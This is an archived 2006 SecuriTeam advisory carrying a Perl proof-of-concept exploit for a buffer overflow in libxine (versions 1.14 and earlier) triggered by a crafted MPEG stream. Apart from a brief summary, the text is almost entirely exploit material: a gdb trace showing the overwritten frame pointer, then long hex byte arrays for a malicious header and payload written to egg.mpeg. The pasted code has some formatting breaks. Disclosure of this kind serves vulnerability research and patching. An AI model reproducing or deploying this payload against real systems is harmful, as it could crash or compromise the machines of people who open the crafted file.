

[EXPL] Libxine MPEG Stream Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-04/msg00010.html>

- From: SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - Date: 5 Apr 2006 14:12:20 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Libxine MPEG Stream Buffer Overflow (Exploit)

SUMMARY

<<http://www.freshports.org/multimedia/libxine/>> Libxine is a library for xine multimedia player.

Libxine is vulnerable to a buffer overflow when handling an MPEG stream.

DETAILS

Vulnerable Systems:

* Libxine versions 1.14 and prior.

Exploit:

```
#!/usr/bin/perl
#####
# Libxine <= 1.14 : MPEG Stream Buffer overflow vulnerability / PoC
#
# Federico L. Bossi Bonin
# fbossi[at]netcomm.com.ar
#####
```

[EXPL] Libxine MPEG Stream Buffer Overflow (Exploit)

```
# (gdb) run /tmp/egg.mpeg
# Starting program: /usr/bin/gxine /tmp/egg.mpeg
# Program received signal SIGSEGV, Segmentation fault.
# [Switching to Thread -1276580944 (LWP 30688)]
# 0xb7edee9a in xine_list_delete_current () from /usr/lib/libxine.so.1
# (gdb) x/x $ebp
# 0x8e2cbd4: 0x41414141
# (gdb)
```

```
my $EGGFILE="egg.mpeg";
my $len=2024;
```

```
my $header=
```

```
"\x30\x26\xb2\x75\x8e\x66\xcf\x11\xa6\xd9\x00\xaa\x00\x62\xce\x6c\x2e\xa9\xcf\x11\x8e\xe3\x00\xc0"
"\x0c\x20\x53\x65\x2e\x00\x00\x00\x00\x00\x00\x00\x11\xd2\xd3\xab\xba\xa9\xcf\x11\x8e\xe6\x00\xc0"
"\x0c\x20\x53\x65\x06\x00\x00\x00\x00\x91\x07\xdc\xb7\xb7\xa9\xcf\x11\x8e\xe6\x00\xc0\x0c\x20"
"\x53\x65\x72\x00\x00\x00\x00\x00\x00\x40\x9e\x69\xf8\x4d\x5b\xcf\x11\xa8\xfd\x00\x80\x5f\x5c"
"\x44\x2b\x50\xcd\x3b\xf8\x61\xcf\x11\x8b\xb2\x00\xaa\x00\xb4\xe2\x20\x00\x00\x00\x00\x00\x00"
"\x00\x00\x1c\x00\x00\x00\x08\x00\x00\x00\x01\x00\x40\x34\x7c\x00\x61\x01\x01\x00\x80\x3e\x00\x00"
"\xd0\x07\x00\x00\x80\x02\x10\x00\x0a\x00\x00\x22\x00\x00\xe0\x00\x80\x07\x00\x00\x01\x80\x02\x80"
"\x02\x01\x00\x00\x91\x07\xdc\xb7\xb7\xa9\xcf\x11\x8e\xe6\x00\xc0\x0c\x20\x53\x65\x81\x00\x00\x00"
"\x00\x00\x00\x00\xc0\xef\x19\xbc\x4d\x5b\xcf\x11\xa8\xfd\x00\x80\x5f\x5c\x44\x2b\x00\x57\xfb\x20"
"\x55\x5b\xcf\x11\xa8\xfd\x00\x80\x5f\x5c\x44\x2b\x00\x00\x00\x00\x00\x00\x00\x00\x33\x00\x00\x00"
"\x00\x00\x00\x00\x02\x00\x40\x34\x7c\x00\x40\x01\x00\x00\xf0\x00\x00\x00\x02\x28\x00\x28\x00\x00"
"\x00\x40\x01\x00\x00\xf0\x00\x00\x00\x01\x00\x18\x00\x57\x4d\x56\x31\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x01\xcd";
```

```
my $send=
```

```
"\x24\x84\x21\x00\x06\x06\x94\xa4\xb4\x92\xf5\xa7\x55\x54\x7e\xb6\xb3\x3a\xe9\x65\xa7\xee\xde\x9b"
"\x7b\xe4\x25\x34\xa1\x08\x13\x29\x21\xb4\x54\x4d\x0f\xa0\xa1\x3c\x74\x83\x0d\x1a\x32\x36\xab\xc6"
"\x91\xd5\xd0\x88\xc6\x62\x1e\x71\x65\x2f\xdc\x44\xae\x0b\x78\x74\x14\xd3\x84\x9f\xce\x80\x80\xa2"
"\x52\x94\x41\xa8\x84\x3b\x09\x09\x44\xa2\x1b\xd4\xa7\x1b\xc7\x52\xdf\x00\x83\x23\x19\x88\xf6\xa5"
"\x09\x9a\x9c\x78\x6f\xa9\x7e\x9a\x52\x2a\x8d\x12\xd0\x46\x88\x68\x54\x24\xb2\x53\x51\x14\x09\x10"
"\x11\xb2\x60\xed\x83\x30\xaa\x27\xa6\xc4\x32\x37\x20\x06\xb4\x4a\xb2\xd5\x40\x2c\x88\xc4\x0e\x63"
"\x15\x59\x19\x6c\x30\xbc\x75\xfe\x1e\x50\x10\x43\x63\x21\x1e\xfd\x44\x31\xf0\xa1\x69\xf3\xb2\xfe"
"\x60\x01\x24\x58\x54\x1a\x81\x44\xd5\x4c\x22\x94\xc4\x00\x6a\x69\x70\xe5\xa9\x63\x4c\x5d\xa6\xcb"
"\x2a\xb0\x1e\xec\x36\xe2\x03\x4e\x98\xc0\x08\xbb\x76\xb5\xd0\x5e\x1e\x3a\xbe\xfa\x02\x81\x05\x35"
"\x31\x11\xed\x5a\x94\x19\x5b\x41\x42\x00\x7c\x52\x52\x02\x13\x74\x6c\x2a\xc2\xc0\x21\x92\x50\x29"
"\x82\x96\x61\x9d\x4c\x88\xd5\xc6\x5a\xa8\xb4\x11\x07\x71\x37\xb4\x91\x62\xad\x81\x2c\x56\x4f\xbb"
"\x4d\x75\x73\x1e\x3a\xfe\xff\x00\x81\x85\x35\x32\x11\xef\xd4\x83\x91\xa8\xaa\x87\xe6\x9a\x68\x29"
"\x29\xb8\x74\x64\x41\xd1\x46\x93\x2b\x0a\xa9\x04\x1a\xa0\x12\x4c\xaf\x67\x4a\x99\x00\x6f\xb6\x33"
"\x62\x40\x32\x35\x01\xaa\xec\x02\xd6\x75\x2e\x4e\x6a\xae\x71\x95\x78\xe9\xfb\xdc\x00\x00\x02\x22"
"\x98\x90\xf6\x34\x99\x8a\x50\x00\x7e\xed\x8b\xf0\xea\x22\x20\x96\x36\x40\x6c\x02\x18\x0b\x0b\xe2"
"\x83\x25\x2d\x29\x32\x22\x61\x59\x8b\x32\x25\xcf\x52\x24\x96\xf3\x64\xe8\x19\x3b\x20\x41\x52\x75"
"\x5b\x4f\x93\x85\xe3\xab\xef\x98\x30\x20\xa8\xc6\x42\x3d\x7f\xb0\x82\xd1\x44\x53\xc4\xf8\x50\xb1"
"\x12\x2a\x4c\x32\x01\x56\xac\x43\x24\x10\x69\x4a\x09\x13\x15\x68\x86\xcd\xfa\x0d\xc7\x2c\x02\xfd"
"\x2b\x24\x86\x2f\x86\x96\x09\xd3\x44\xca\x85\x2c\x0c\x10\xc2\xdb\x5a\xe9\x8f\x1d\x3f\x68\x08\x08"
"\x18\x44\x53\x12\x1e\xf6\x62\x03\xf4\xd0\x92\x38\xa8\x09\x4a\x5a\x9d\xc4\x2a\xc8\xa2\x62\x20\x86"
"\x48\x4d\x49\x24\x26\xaa\x02\xf0\x47\x85\x30\x18\xe4\x5b\xa8\x83\x07\x7a\x20\xed\xbb\x90\xc2\xeb"
```

[EXPL] Libxine MPEG Stream Buffer Overflow (Exploit)

"\xE7\x0E\xE6xD7\x83\x9F\x6F\x1D\x4F\x84\x85\x05\x45\x31\x21\xEF\x55\x41\xA5\xD9\xA2\x69\xA5\xF2".
"\x69\x0E\xA9\x2A\x89\x50\x40\x64\x40\xA8\x11\x86\x94\xBB\x02\xAD\x44\x48\x06\x41\xFB\x78\x20\x29".
"\x02\x37\xC2\xD3\x68\x62\x74\x5A\x22\x5A\x1B\xB6\x29\x5F\x9C\x08\xE9\xE0\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDA\x24\x00\x00\x1C".
"\x0C\x00\x00\x5B\x02\x13\x77\x85\x0B\xAA\x81\xE6\x94\x6E\x4E\x58\x82\x30\x25\xD2\x0F\xA5\xFC\xE0".
"\x80\x48\x7A\xC5\x11\x6E\x0E\x31\xF8\x10\x5F\x37\x14\x53\x3E\x9B\xE1\xBA\xAB\x81\xF0\xF6\x21\xE2".
"\x47\x5E\x7F\xFE\x12\x41\x46\x78\x7D\x3B\x44\x42\x2E\xC7\x98\xF1\x67\xF2\x7E\x86\x88\x07\xF7\x21".
"\x2D\x35\x88\x20\x9B\x82\x36\x0D\x90\xB8\xA6\x33\x18\xA4\x86\x1B\x2E\x43\x40\x61\xF8\x73\x90\xCC".
"\xF9\xC6\xFF\x63\x05\x96\xE5\x45\xFB\xB3\x40\xAD\xC5\x81\xCF\x67\x50\x70\x51\x2B\x9D\x9F\x55\xF0".
"\x2F\x24\x2A\xF0\xE8\xB2\x61\x29\x47\x69\x4A\x84\x2C\x7B\xAD\xD4\xC3\x06\x96\xD5\x03\xD0\xC1\xF4".
"\x4E\x65\x64\x0A\xE8\x14\x32\x40\x42\xE1\x11\x08\x40\x29\x1D\x97\xC8\x33\x1B\xCC\x20\x5D\x6D\x85".
"\x82\xAF\x34\x2F\x43\xC3\x58\x8D\x9F\x28\x91\x51\x3C\x3A\xAC\x63\x7C\xFE\x2F\xCE\xB6\xDE\x65\xC5".
"\xB1\x83\xD8\xC1\xEF\xFF\x15\x68\xF3\xD9\x24\xB9\x97\xF2\x72\xEE\x08\xCC\x7C\x47\x8A\xA5\xE5\xD9".
"\x78\xF6\x2E\x37\xF4\xEA\xB0\x55\xE1\xD5\x41\x55\x05\x54\x08\x48\xCC\x3A\x27\x10\x0A\x92\xF6\x44".
"\x64\x20\x75\x5E\x77\x57\x64\x37\x1A\x55\xEE\xB4\x83\x6F\x2D\x24\xB4\x69\xDD\x88\xCB\xED\x30\xA0".
"\x1E\xF2\x18\x01\x00\x90\x24\x80\x01\xE6\xD4\x64\x53\x6C\xC6\xF5\x8C\x4B\xBC\x90\x0B\xD3\x9A\xD5".
"\x6D\xD1\x28\xBE\x78\x77\x8A\x47\x57\x67\xB4\x77\x3D\xEF\xD5\x76\x5C\xD9\x9E\xD2\x42\x93\x8A\x42".
"\x69\xBD\x14\x16\x30\x40\x4F\xE8\xF2\x33\x90\x21\x34\xA9\xDD\x62\xBC\xCB\x9C\x7A\xCF\xE5\x47\x08".
"\xA4\xA4\xCD\xE6\x44\xC3\xBF\x11\x60\x25\x14\xC6\x48\xFA\xEC\x7F\x9F\x6A\x24\x11\x74\xAA\x32\xCB".
"\x29\x27\x75\x63\xB9\xC8\xF3\xDE\xE8\xFC\xBE\xE5\xE8\x1C\x11\x7F\xDB\xBC\xDB\x75\x4D\xDB\xC9\xDD".
"\x1D\xE9\xE2\x81\xE1\x82\x80\x00\x2C\xA7\x14\x80\x8A\x4D\xF0\x8E\x4A\xED\xA6\x19\xA7\x07\xAD\xCC".
"\x10\x94\xA1\xC0\xCD\xFC\xBD\x38\x7C\x83\x72\x26\xB6\xCB\xE1\xB8\x34\xB4\x1A\x5C\x3E\xAB\x25\xAF".
"\x8E\x0E\x0C\x89\xE7\x8B\x17\x0C\x9B\x27\x06\x40\x06\x2F\x37\x2A\xC1\x7F\x3E\xD5\xC0\x09\x8D\x9E".
"\x96\xED\x23\x08\xB3\x11\xDE\x7D\x60\xE2\xCA\xE5\x12\x28\x02\xF0\x5F\x23\x82\x3D\xB2\x3B\xEE\x81".
"\x63\x61\x85\xFE\x8D\x06\x50\xE1\xD8\x50\xE6\xAD\xC5\xD0\xC3\xE8\x02\x4F\xA5\xC9\x59\x51\xF3\xAF".
"\xB0\x89\xC8\x54\x59\x66\x24\x25\x65\x09\xEB\x75\x73\x74\x1D\x22\xAD\xA6\x06\xD5\x3F\x50\xCD\x7E".
"\xC0\xD7\xA2\x18\x0C\x71\x81\x8C\x25\x06\xCE\x57\x8D\x51\x80\x52\x4E\xDB\x66\x15\x13\xB2\x4C\x05".
"\x12\x35\xF6\xC9\xA9\x9F\xF6\x5C\xE2\xB4\xA1\x91\x49\x2D\xEC\x79\x25\x82\x5B\x68\x30\x13\x1A\x80".
"\xD2\x98\xC5\x91\xCC\xD2\xEB\xD4\x80\x56\x17\x0B\xB6\x18\x5C\xC3\xCC\x80\x09\x80\x03\x06\x73\xF2".
"\x6C\x20\x11\x23\x3A\x09\xB4\xA8\x82\x00\x00\x08\x5D\x02\x64\x00\x00\x00\x64\x00\x82\x01\x5B\x02".
"\x00\x00\x08\xDA\x24\x00\x00\x1C\x0C\x00\x00\x7A\x9A\x13\x14\x00\xCC\xC2\xC0\x10\x41\x10\x58\x2C".
"\xD0\x46\xF2\x4A\xFC\xEE\x68\xF1\x54\xC6\xF1\x89\x80\x27\xC6\x31\x60\x29\x71\x4E\x01\x9D\xDB\x57".
"\x31\xDA\xAF\xDB\x3A\x5F\x14\x0E\xA7\xC7\x53\xFB\x24\xDF\x60\xEB\xC3\xBA\xA4\x77\xC5\x2A\x62\x90".
"\x3D\x20\x04\x84\x62\xDF\xA7\xF5\xE9\x4D\x54\x15\x50\x55\x41\x55\x01\x55\x5D\x6D\x06\x98\x78\x51".
"\x18\x61\x96\x44\x25\x98\xE2\x34\xCC\x80\x08\x2F\xC8\x4A\x28\x67\x55\x08\xE1\xE6\x20\xEB\xDF\x93".
"\x12\x19\x32\xBF\x06\xC9\x93\x0C\x40\xB9\x1E\xF6\x24\xA7\x3A\x76\x72\xF4\x21\x3B\x18\xA7\x69\x41".
"\x37\x88\x51\x3E\x0B\x73\xAD\xE4\x67\x04\x4B\xB9\x97\x27\x6B\x5C\xF7\x74\x9A\x6E\xD1\x1B\x8A\x28".
"\x8E\xA5\x55\xBB\x23\x72\x65\xE5\xDC\x51\x6A\x7A\xA3\x1C\x50\xD1\x9C\x53\x1A\xE1\x80\xF8\x90\x24".
"\x7E\xC2\xC6\x60\x32\x0F\x21\x58\x9B\x47\xE9\x3D\x67\x59\xDA\x34\xC8\xEA\xE8\x25\x34\xEA\x67\x41".
"\x03\xA2\x30\x4E\x10\xA6\x89\xD7\x4F\xA4\xA8\x6E\x75\x1E\x27\x2A\xC2\xAA\x33\xA6\x5B\x37\x55\x6C".
"\x89\x68\x23\xB9\x00\x84\x17\xB1\xB5\x1B\x03\x49\x21\xB8\x32\xD0\xAC\x32\x92\x07\x5C\x22\x8C\x0C".
"\xDB\xB8\x83\xBB\x94\x90\x00\x82\x29\xF3\x32\x6F\x42\x74\x38\xEC\xF6\x48\xF0\x8E\xD1\x98\xBA\x20".
"\xA0\xD6\xBE\xEA\x39\x6C\x11\x0B\x4E\x94\x0E\x41\x94\x61\x28\xF1\x80\xCC\x1B\x82\x53\xDC\x79\x0B".
"\xC2\x79\x82\x25\x2E\xD4\x8E\x51\x8A\x8E\xEB\x4E\x94\x0B\x58\xDD\x39\xDE\x94\x5A\x4C\x8C\x25\x80".
"\x15\x25\x87\x05\x3F\xCA\x19\x23\x0E\x04\xAE\x4E\x1D\x16\x57\x2D\x89\x25\xA3\xB2\x3A\xB5\x6C\x38".
"\x53\x0B\xBA\x2A\xE0\xED\xF9\x4B\x84\x8A\xAC\x0B\x38\x98\xC5\x12\xC9\x99\xE9\x7D\x92\xC8\x05\x13".
"\xE4\x04\x30\xCE\x80\x1D\x03\x2F\x72\x36\xDA\xC8\xF5\x0A\x19\xD1\x45\x00\x1B\x10\x78\x28\xAA\xCA".
"\x43\xA3\xA1\xCD\x91\x79\x44\x60\x33\x00\x5E\x78\x70\x0E\x33\xDD\x68\x6B\x63\x93\x19\x21\x73\x52".
"\x9B\x6D\x02\xF5\x76\x94\xAD\x8E\xC2\xC8\xD0\x01\x39\xF0\x89\x90\x03\x90\xC4\x1B\x94\x88\xE0\xC3".
"\x46\x06\xD0\xCB\xD4\x08\xCB\x30\x38\xC2\xF3\x62\xD2\x68\x1A\x21\xED\x87\xE1\x82\x98\xE6\xC4\xC2".
"\xBE\x1D\x25\x6D\x75\x93\x37\x4A\xE9\x32\x80\xD2\xB8\x26\x28\xA2\x05\x62\x30\x86\x81\x0B\xBA\x05".

[EXPL] Libxine MPEG Stream Buffer Overflow (Exploit)

"\x8F\x07\x80\x3C\x00\x17\x04\x01\x50\xC0\x87\xF1\xEC\x20\x53\x5D\xAF\x36\x22\xBC\xC4\x42\xE3\xC3".
"\xA3\x7C\x10\x85\x00\x27\x58\x8F\x98\x40\x11\x9A\x83\x53\x7A\x02\x43\xB7\xEE\x2F\xAA\x33\x6C\x2F".
"\xC8\x09\x1B\x21\xCD\x6D\xCE\x14\x04\xF8\xAF\x67\x71\x12\x44\xA3\x92\xA7\x4A\x9A\xA7\x14\x7F\x99".
"\x22\x91\xD6\x5E\xDE\x88\xEA\x78\x07\x04\x46\x39\x2C\xA1\x99\xC5\x7C\xDB\x27\x26\x42\x3A\xC7\xA8".
"\x2A\xA0\xAA\x82\xAA\x0A\xA8\x0A\x77\x6A\xA7\x7E\x5E\xD9\xB2\x9D\x96\x08\x99\xCB\xC4\x08\x34\xC2".
"\x3D\xAD\x26\x04\xE9\xC0\x82\xF4\x00\x8E\xC8\xBE\xC3\x43\x76\x18\x04\x17\x9B\xB8\x57\xA0\xC9\x06".
"\x98\xE5\x05\x19\x9F\xF8\x44\x5B\x23\xD6\x8E\xDB\x73\xD5\xB7\x88\x22\x40\x61\x61\x0C\x01\x18\x16".
"\x67\xC0\x18\x4C\x96\xA8\x9F\x6A\xEE\xB4\x23\x6C\x60\x77\xCD\xAA\x37\x63\x7C\xFE\x9E\xB0\x1D\xC9".
"\x79\x2C\xDD\xFF\x95\x59\xF5\x2C\x67\x8B\xFF\x3D\x1A\xFF\x76\x2A\xEF\x00\xFF\xA5\xAF\x29\xE9\xCC".
"\xDA\x03\xDB\xB9\x40\x09\xA9\x41\x35\xB1\xC6\xB0\x05\x8C\x30\xF4\x05\xF8\xD0\xA4\x3A\xB9\x2C\x40".
"\x66\x86\x00\x50\xE4\xD1\x08\xB8\x2D\x8E\x26\x94\x2A\x68\x46\x4C\x86\xAC\x37\x1B\xA1\xD9\xC8\xCA".
"\x3E\xBD\x5D\x09\x06\xF5\xEB\xD0\xEC\xC3\x30\xB8\xAA\x8B\xD5\xB7\x9B\xCC\x68\x1C\xA3\xAD\xF7\x48".
"\x6B\x6D\x02\x44\xC8\x76\x77\x9D\xAC\x9F\x47\xC3\x61\x33\xDA\x53\x85\x10\x83\x1C\x28\x19\x86\x6B".
"\xC3\xCD\xC4\xE7\x83\x14\x02\x4B\x59\x85\xB1\x4D\xB6\x44\xE3\x5E\x02\x89\x94\x0E\x88\x8E\x3E\x70".
"\x02\x06\x28\xD9\xD5\x48\xF0\xDF\x37\xD8\x07\xE0\x39\x93\x3F\xE6\x87\xAE\x26\x33\x36\x85\x40\xF7".
"\xB7\x4F\xD7\x53\x35\xD4\xB5\x48\x9C\x5E\x35\x4C\xFC\xEE\xBB\x34\xB8\x21\xD2\xEE\x08\xEE\x28\xC8".
"\xE5\x04\x40\x87\xFF\xAD\xDE\x62\x7C\x94\x0E\x5F\xF9\x1D\x99\x64\xF1\x19\x62\x5A\xE2\x03\x4D\x1E".
"\xA5\xAC\x9D\x9F\x75\x33\xBF\x26\x83\x45\x86\xA3\x3F\x8E\xBA\x33\x08\xF8\x4B\xA7\x80\xDA\xCB\x70".
"\x0F\x08\xFE\xB1\x0E\xBA\xF0\xBF\xF5\x53\x1B\x1E\x87\x09\xCF\x89\x07\x4A\xAA\xC7\x5F\xC8\x66\x5E".
"\x8C\xF2\x9B\xEF\xFB\xFD\x6A\x93\xD3\x7C\x10\xC1\x48\xAD\xA1\x71\x18\x72\x09\xD4\x7F\xA1\x29\x1B".
"\xA9\x79\x68\x16\x2F\x5E\xCA\xCA\xA0\x1F\x65\xBC\x64\x9F\xF5\x69\xF9\xEB\x10\x92\x14\x02\xF4\xA5".
"\x0E\x22\x02\x83\x69\x1A\x87\x0C\x72\xB5\x60\x09\xD3\xA0\xD2\x3E\x14\x01\xF3\x9F\xCA\x87\xEA\x66".
"\x7E\x2A\x90\x7B\xDB\x24\xBF\x79\x48\xEC\x73\x94\x29\x25\xEF\x68\x36\xC8\x61\xCB\x0F\xA8\x17\x1C".
"\xE2\x3A\xD2\x23\xFF\x2D\x92\xF6\xC9\x71\x64\xE5\x8C\xAE\x4C\x52\x17\x1F\x20\x90\x53\xBB\x3A\x9C".
"\x23\xDB\x32\x6C\x32\x46\x26\xC8\x58\x81\x5B\x07\xD4\xAA\x27\x55\x22\x00\x7C\xD8\x4B\x9C\xBA\x3B".
"\x6C\x4F\x05\xA1\x0B\x20\x00\x6F\x1A\x85\xC2\x91\xA9\xFB\x59\x88\x6C\xFD\x28\xFB\x20\x88\xB0\x18".
"\x04\x0F\xC9\xD3\x9C\x70\xA3\x74\xC3\x96\x4B\x6A\xCA\x6B\x57\x36\x46\x24\xDD\xE4\xA3\xA1\x18\x77".
"\x97\x26\xE1\xAA\xE7\x67\x6F\xB9\xBC\x95\x4F\x37\xFA\x3A\xE5\x55\x3B\xAD\xB5\x9C\xA1\x91\x5A\xB4".
"\x82\xE0\x94\xEA\x32\x45\x30\x0D\x96\xE8\x29\x36\xCC\x4F\xF9\xDD\x26\x51\x9B\x4C\x86\x81\xD4\xF1".
"\x9A\x41\xDB\x08\x7D\xED\xDB\x08\xC4\xE6\x06\x8D\x30\x82\x32\x1B\xF8\x6D\xB1\xFD\x83\xC1\x32\x80".
"\x90\x22\x17\x25\xD9\xB1\xA9\xCD\x61\x34\xE7\x8B\x20\xC7\x19\x00\xFC\x53\xB9\xFF\xDD\xCD\x96\xF9".
"\x55\xC9\xC9\x96\xAB\xA5\xDA\x23\x0E\x87\xB2\x81\xDB\x47\x70\x32\x1A\x2D\x2C\x35\x50\xAA\xA1\xB4".
"\xA8\x82\x00\x00\x08\x5D\x02\xC8\x00\x00\x00\x64\x00\x82\x01\x47\x07\x00\x00\x08\xDA\x24\x00\x00".
"\x1C\x0C\x00\x00\xD5\x41\x55\x05\x54\x05\x70\x6C\x49\x94\x02\xD4\x52\xA2\x18\x89\x04\xD4\x02\xCF".
"\x10\x38\x16\x29\xCB\x41\x08\x43\xA5\xB0\x69\x31\x8C\x37\x39\xE4\x14\x3B\xB7\x04\x83\x68\x11\x81".
"\x63\x84\xA0\x06\x73\x76\x13\x22\xF1\x10\x15\x02\x15\x06\x8D\x13\x4D\x51\xAC\xC8\xE6\x18\x57\xBE".
"\x39\x3D\x36\xF6\xFE\xAD\xDB\xED\x47\x41\xCA\xA7\x7A\x6D\x0E\xD4\x8E\xA7\x28\x8A\xA4\xBE\xA6\xDB".
"\xEF\x41\xEF\x97\xCE\xF9\x4E\x0E\xCF\x15\xC8\x22\x63\x9F\x04\x14\x98\xC2\x0C\x23\xCC\x10\x29\xE3".
"\x85\x65\x72\x00\x6B\x56\xFD\x24\xE7\x2D\x02\x19\xD1\x33\x0D\xD1\xC8\x59\x80\xD8\x11\x74\xCC\xBD".
"\xB0\x4F\x84\xFE\xA4\x77\x62\x99\xDA\xC4\xA1\xA0\xA3\x08\x9C\x5F\x55\xF6\xC1\x11\x38\x1D\xF2\x98".
"\x04\x37\xDB\xCC\x65\xBD\x6A\x1E\xBD\x51\xF6\xF7\x77\x7A\xA6\x7D\xAD\x9E\xE2\x86\xF8\x23\xEF\x2C".
"\xBC\xE3\x8A\x12\x40\x4B\x5C\xC1\x39\x6C\xC7\x8D\x21\xA6\x3E\x05\xBE\x23\x76\x0A\xFA\x9A\x40\x27".
"\x44\x75\xE6\xA7\x88\x2F\xD3\x65\x4E\x03\xA2\x5C\x22\x45\xD1\x22\x8D\x0C\x18\xD1\x2C\xCD\x2B\x7A".
"\x64\xE4\x7F\x7C\xB2\x4E\x8E\xAE\x22\x94\x76\xD6\x8F\x66\x2D\x09\xF1\x54\x81\x9D\x42\xC2\x75\x2D".
"\xC4\x8A\x3E\x91\xE7\xE3\x94\x7E\xDD\xA1\x2F\x2D\x96\x11\x5D\x97\x0A\x48\x6D\xB5\xE6\x39\x69\x28".
"\x27\x95\x14\xAE\x9F\xFD\xB9\x38\x8A\x3A\xCA\x6C\x6B\x3A\x92\x15\x66\x70\xC3\x80\x60\x9C\xEA\xA5".
"\x91\x91\xCA\x59\x3A\x1F\x4A\xBD\xF6\x95\x52\x89\xC9\xDA\x4F\x9C\xAA\x08\x4A\x00\xE9\x78\xC8\xA6".
"\xAF\x98\x4D\x47\x34\x84\x8E\x02\x68\xA9\xF5\xF2\xC0\x3D\x9E\xE2\xA2\xD7\xE2\x09\x62\x4A\xB2\xF0".
"\x2D\x09\x12\x01\x0E\xCD\x09\xD5\xAE\x30\x6F\xD4\x74\x72\x0F\x20\x1C\x82\xA4\x92\x92\xC8\x93\xC0".
"\x62\xE4\x4F\xF9\xE8\x72\x10\xB3\x95\xCC\x33\xF0\xC8\x52\x46\xCA\xCF\x0C\xEB\xA0\xC1\x1B\xC7\x5B".
"\xD7\x68\xCF\x40\xCA\x99\x8A\x29\xD4\x27\x41\x39\x51\x1A\x00\xB7\xC2\x38\x52\xE5\x59\xAD\x8F\xF9".

[EXPL] Libxine MPEG Stream Buffer Overflow (Exploit)

"\xC4\x67\x9C\x18\x6C\xFD\x73\xC5\x05\x65\xC6\x5B\x1A\x44\x34\x7B\x44\x02\xFE\x61\x13\x92\x9C\x8C".
"\x0D\x0E\x7C\xFF\xA5\xF2\xBB\x65\x65\x14\xA3\x69\x51\x3E\x95\x42\xB9\x01\x46\xAB\x60\x16\xD8\x3D".
"\x85\x76\x23\x71\x44\xD9\xDD\x55\xA7\x52\x40\x03\x74\x39\x60\xEF\x20\x98\xE6\xF4\xAD\xA8\x5B\x33".
"\x61\x73\xCC\xFD\x0C\x12\x6C\x72\x90\x4A\x84\xE0\x40\x10\xB6\x60\xDF\xEE\x0C\x13\xA7\xAC\x45\x6E".
"\x14\x6F\xE2\xA7\x32\x2C\x84\x60\x4D\xCA\x4F\xAB\x57\xB0\x78\xA9\x4E\x32\x07\x6C\x2F\xC6\x6C\x9F".
"\xF6\x5C\x03\x16\xCB\x79\x87\xA7\x0B\xB9\x36\xF8\x7F\xA0\xA5\x53\xCD\x02\xA3\xBD\x4A\x07\x0F\x94".
"\xA9\x5E\xD4\x7D\x4D\x04\x61\x93\x53\x11\x43\x43\x3F\x73\x7A\x9E\x1C\x09\x67\xB0\x86\x75\xEE\xD0".
"\x58\x91\x31\x9F\x5E\xEA\x7C\xC3\xD1\x2C\xE0\x20\xC2\x38\x21\x80\xD7\x81\x2E\x7E\x13\xD2\x38\xC2".
"\x25\x13\x80\x49\x81\xF8\x7D\x9A\xAB\xF9\xC0\x3D\x55\x70\xB9\x5A\x8E\x27\x1D\xF8\x74\x07\x00\xE2".
"\x8E\x4B\x97\xBF\x93\xD9\x1E\xA8\x1F\xF5\x2F\x1D\x28\xD6\xED\x92\xD6\xFF\x37\xDB\x66\x31\x3F\x33".
"\xBF\xD2\x63\xF1\xC9\xD9\x28\x2A\xEA\xEB\x7E\xEE\x6B\x6A\x75\x0E\xC4\x27\xAF\x03\x6F\xE0\xFC\x50".
"\x95\x27\x6E\x11\xC7\x10\x64\x08\x53\xF2\xA8\x5D\x21\x8C\x82\x71\x90\xFC\x3D\x26\x21\x8A\x4E\x64".
"\x25\x0D\x89\x28\xCA\xF8\x58\xA5\xF8\x93\xCB\x6D\xDD\x11\x69\x64\xBB\x22\x84\xD1\x79\x26\xEB\xB2".
"\xD5\x62\x5B\x7E\x2F\x93\x99\xFF\x29\xF5\x57\x1A\xBE\x11\x87\xB2\x67\x26\x4F\x49\x9D\xEE\x58\xFA".
"\x91\xD9\x4E\x00\xBA\x1F\x22\xB9\x98\x27\xCB\xA0\x30\x50\xA0\xB0\x82\xD4\x40\xB9\x3F\xC7\xAA\xA8".
"\xBD\x54\x15\x50\x2C\x40\x2E\x55\x43\x78\xD9\xF0\x89\x1F\x48\x5F\x70\x5D\xA4\x12\x22\x74\x8F\xA9".
"\x6A\x4F\x20\x00\x1A\xD5\x6B\xC0\xC9\x93\x2D\x97\xCE\x19\x5A\x46\x94\xAF\x6E\x69\xE9\x3D\x0E\x3F".
"\x8E\x96\x8D\x4E\xCA\x00\x78\x18\x47\xBB\x66\x54\x00\x00\xEE\x07\xB4\xC2\x6D\x75\x07\xB1\xDB\xFB".
"\xDA\xFF\xCA\x70\x7B\xE5\x28\xFA\xB3\x57\x1A\x88\x1D\x2A\xBE\xA4\x14\x9F\xF5\xDC\xF2\x8A\xA3\xF4".
"\x45\x07\x5B\xEA\xE4\x98\xBD\x18\x14\x90\xDD\x6E\x7D\x02\xD8\x90\x92\xC4\x24\x8A\x00\x67\x08\xAC".
"\xCE\xEE\x88\xB7\x04\xED\x74\x59\xF8\xE2\x96\xB6\x1F\x49\x00\x99\x9B\x04\x06\x30\x19\xD6\x84\xF7".
"\x21\x12\xC5\xC4\xD1\xC1\xEF\x7F\x8A\x7D\x99\x04\x49\xA2\x35\x6E\xFE\xD6\xEE\x6F\xEB\x31\xB3\xF8".
"\x65\xFF\xD5\x28\x55\x3F\xB2\xFA\xD0\x37\x53\xCD\xF4\x63\x15\xC5\x2C\xFC\x1C\x94\xA5\x21\x3C\x90".
"\x43\x0A\x46\xCD\xE1\x07\x5B\x39\x6A\xD0\x2D\x04\x9E\x8F\x31\xCA\xD8\xA6\x3D\x21\x0D\x52\x12\x5A".
"\x9C\xC9\x15\x13\x98\x30\x12\xC0\x77\x42\x0D\x10\x6C\x44\xD8\xD0\xB5\x7C\x3F\x53\x85\xCA\x27\xA8".
"\x3A\xEA\x77\xF2\x01\x65\x4A\x04\x7C\xEE\xDF\xE4\x35\x00\xA2\x54\xA3\xE3\xD8\xAE\xAD\xE8\xDE\xA0".
"\xEA\x3A\xA9\x25\x38\x52\xAC\xE0\x9C\xE0\xE0\x85\x13\xAC\x07\x36\x4B\xB0\x03\x8E\x54\x70\x82\x47".
